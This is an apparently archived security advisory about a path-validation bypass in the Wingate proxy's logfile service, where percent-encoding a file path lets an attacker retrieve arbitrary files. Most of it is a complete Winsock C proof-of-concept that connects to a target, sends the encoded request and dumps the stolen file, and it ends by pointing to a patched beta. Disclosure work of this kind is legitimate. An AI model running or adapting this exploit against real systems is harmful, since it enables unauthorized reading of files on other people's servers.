COMMAND

    Wingate

SYSTEMS AFFECTED

    Wingate 4.1 Beta A, 4.0.1, 3.0, 2.1

PROBLEM

    Blue Panda found  following.  The  logfile service can  be used to
    retrieve files unrelated  to logging.   The logfile server  allows
    logs  to  be  viewed  remotely  via  HTTP.   By encoding file/path
    portion of the URL as a series of escape codes (ie, %41%42%43%44),
    an attacker may circumvent input validation.  All files accessable
    to the  logging service  can be  retrieved by  taking advantage of
    this flaw.  Files containing newlines may be corrupted.

    By default,  this service  is bound  only to  'private' interfaces
    (LAN adapters, the loopback  interface, etc).  However,  users who
    have legitimate access to logs do not necessarily have  legitimate
    access to all files available to the logfile server process.

    eEye Security reported  that the logging  server could be  used to
    retrieve  files  remotely  in  version  3.0.   Unfortunately,  the
    problem  was  not  thoroughly  fixed  and this simple trick allows
    characters to be inserted that are not subject to input validation
    (escaped characters are inserted _after_ checks are performed).

    This vulnerability affects the latest beta version of Wingate (4.1
    A) as well as the most recent stable release (4.0.1).  The  attack
    has been  confirmed to  work against  Wingate 2.1  and 3.0.  Other
    versions  have  not  been  tested.   If  you can confirm that this
    problem does/does  not exist  in a  particular version  of Wingate
    not mentioned here,  please e-mail us  so that we  can update this
    document.

    Proof of concept:

    /*
    wgate41a.c - Wingate 4.1 Beta A logfile service vulnerability.
    Blue Panda - bluepanda@dwarf.box.sk
    http://bluepanda.box.sk/
    
    Makes a request to the Wingate logfile service in such a way that it will
    not be subject to filtering. This can allow an attacker to retrieve files
    irrelevant to the logging system. The file received is dumped to stdout, and
    all other output is written to stderr. Newline characters (0x0d and 0x0a)
    will probably be screwed up by Wingate.
    
    usage: wgate41a <host> <path/filename> [<port>]
    */
    #include <stdio.h>
    #include <winsock.h>
    
    const char *USAGE = "usage: wgate41a <host> <path/filename> [<port>]\nport defaults to 8010.";
    const char *ERROR_WINSOCK_INIT = "Error initialising winsock.";
    const char *ERROR_SOCKET_CREATE = "Error creating socket.";
    const char *ERROR_RECV = "Error receiving file/directory listing.";
    const char *ERROR_MALLOC = "Error allocating memory.";
    const char *WARNING_WINSOCK_CLEANUP = "Warning: winsock failed to clean up successfully.";
    
    const int DEFAULT_PORT = 8010;
    const int CONNECT_ERROR_NONE = 0;
    const int CONNECT_ERROR_HOST = 1;
    const int CONNECT_ERROR_CONNECT = 2;
    
    const char *GET_REQUEST = "GET /";
    const char *HTTP11 = " HTTP/1.1\x0d\x0a\x0d\x0a";
    const char *END_OF_HEADERS = "\x0d\x0a\x0d";
    
    #define BUF_LEN 2048
    
    void Usage(void);
    int Connect(int iSock, char *szHost, int iPort);
    int InitWinsock(void);
    int ShutdownWinsock(void);
    void Bail(const char *szMessage);
    
    int main(int argc, char *argv[])
    {
            int iPort;
            int iResult;
            int iSocket;
            int iCounter;
            char *szFile = NULL;
            int iFileLen = 0;
            char *szFileTemp = NULL;
            char *szStartOfFile;
            char sBuf[BUF_LEN];
    
            if ((argc < 3) || (argc > 4)) Usage();
            if (argc == 4)
                    iPort = atoi(argv[3]);
            else iPort = DEFAULT_PORT;
    
            // Attempt to initialise winsock.
            iResult = InitWinsock();
            if (iResult != 0)
                    Bail(ERROR_WINSOCK_INIT);
    
            // Create socket.
            iSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
            if (iSocket == INVALID_SOCKET)
                    Bail(ERROR_SOCKET_CREATE);
    
            // Connect to target.
            fprintf(stderr, "Connecting to %s:%d...", argv[1], iPort);
            iResult = Connect(iSocket, argv[1], iPort);
            if (iResult == CONNECT_ERROR_HOST)
                    Bail("invalid host.");
            if (iResult == CONNECT_ERROR_CONNECT)
                    Bail("failed.");
            fprintf(stderr, "done.\n");
    
            // Connected. Send request.
            send(iSocket, GET_REQUEST, strlen(GET_REQUEST), 0); // Begin request.       =20
            iCounter = 0; // File/path.
            do
            {
                    sprintf((char *)(&sBuf), "%%%x", argv[2][iCounter]);
                    send(iSocket, sBuf, strlen(sBuf), 0);
                    iCounter++;
            } while((unsigned int)(iCounter) < strlen(argv[2]));
            send(iSocket, HTTP11, strlen(HTTP11), 0); // Terminate request.
    
            fprintf(stderr, "Receiving...\n");
    
            // Receive reply.
            do
            {
                    iResult = recv(iSocket, (char *)(&sBuf), BUF_LEN, 0);
                    if (iResult > 0)
                    {
                            if (szFile != NULL)
                            {
                                    szFileTemp = (char *)(malloc(iFileLen));
                                    if (szFileTemp == NULL)
                                            Bail(ERROR_MALLOC);
                                    memcpy(szFileTemp, szFile, iFileLen);
                                    free(szFile);
                            }
                            szFile = (char *)(malloc(iFileLen + iResult + 1));
                            if (szFile == NULL)
                                    Bail(ERROR_MALLOC);
                            if (szFileTemp != NULL)
                            {
                                    memcpy(szFile, szFileTemp, iFileLen);
                                    free(szFileTemp);
                                    szFileTemp = NULL;
                            }
                            memcpy(szFile + iFileLen, (char *)(&sBuf), iResult);
                            iFileLen += iResult;
                    }
                    else
                            if ((iResult == SOCKET_ERROR) && (WSAGetLastError() != WSAETIMEDOUT)) iResult = 0;
            } while(iResult != 0);
    
            fprintf(stderr, "Finished. Dumping to stdout...\n");
    
            szFile[iFileLen] = 0;
            szStartOfFile = strstr(szFile, END_OF_HEADERS);
            if (szStartOfFile != NULL)
                    szStartOfFile += 4;
            else
            {
                    szStartOfFile = szFile;
                    fprintf(stderr, "Warning: unable to find end of HTTP headers.\n");
            }
            if (iFileLen - (szStartOfFile - szFile) > 0)
                    fwrite(szStartOfFile, 1, iFileLen - (szStartOfFile - szFile), stdout);
            else fprintf(stderr, "Warning: file blank.\n");
    
            free(szFile);
    
            // Attempt to shut-down winsock.
            iResult = ShutdownWinsock();
            if (iResult != 0)
                    fprintf(stderr, "%s\n", WARNING_WINSOCK_CLEANUP);
            return 0;
    }
    
    void Usage(void)
    {
            fprintf(stderr, "%s\n", USAGE);
            exit(0);
    }
    
    int Connect(int iSock, char *szHost, int iPort)
    {
            SOCKADDR_IN RemoteAddress;
            struct hostent *HostInfo;
            int iResult;
    
            RemoteAddress.sin_family = AF_INET;
            RemoteAddress.sin_port = htons(iPort);
            RemoteAddress.sin_addr.s_addr = inet_addr(szHost);
            if (RemoteAddress.sin_addr.s_addr == INADDR_NONE)
            {
                    HostInfo = gethostbyname(szHost);
                    if (HostInfo == NULL) return 1;
                    memcpy(&RemoteAddress.sin_addr.s_addr, HostInfo->h_addr, sizeof(HostInfo->h_addr));
            }
    
            iResult = connect(iSock, (SOCKADDR *)&RemoteAddress, sizeof(RemoteAddress));
            if (iResult) return 2;
            return 0;
    }
    
    int InitWinsock(void)
    {
            WSADATA WSData;
            WORD WSVersion;
            int iResult;
    
            WSVersion = MAKEWORD(1, 1);
            iResult = WSAStartup(WSVersion, &WSData);
            return iResult;
    }
    
    int ShutdownWinsock(void)
    {
            int iResult;
            iResult = WSACleanup();
            return iResult;
    }
    
    void Bail(const char *szMessage)
    {
            fprintf(stderr, "%s\n", szMessage);
            exit(1);
    }

SOLUTION

    The immune version (4.1 Beta C) can be obtained from

        http://wingate.deerfield.com/beta/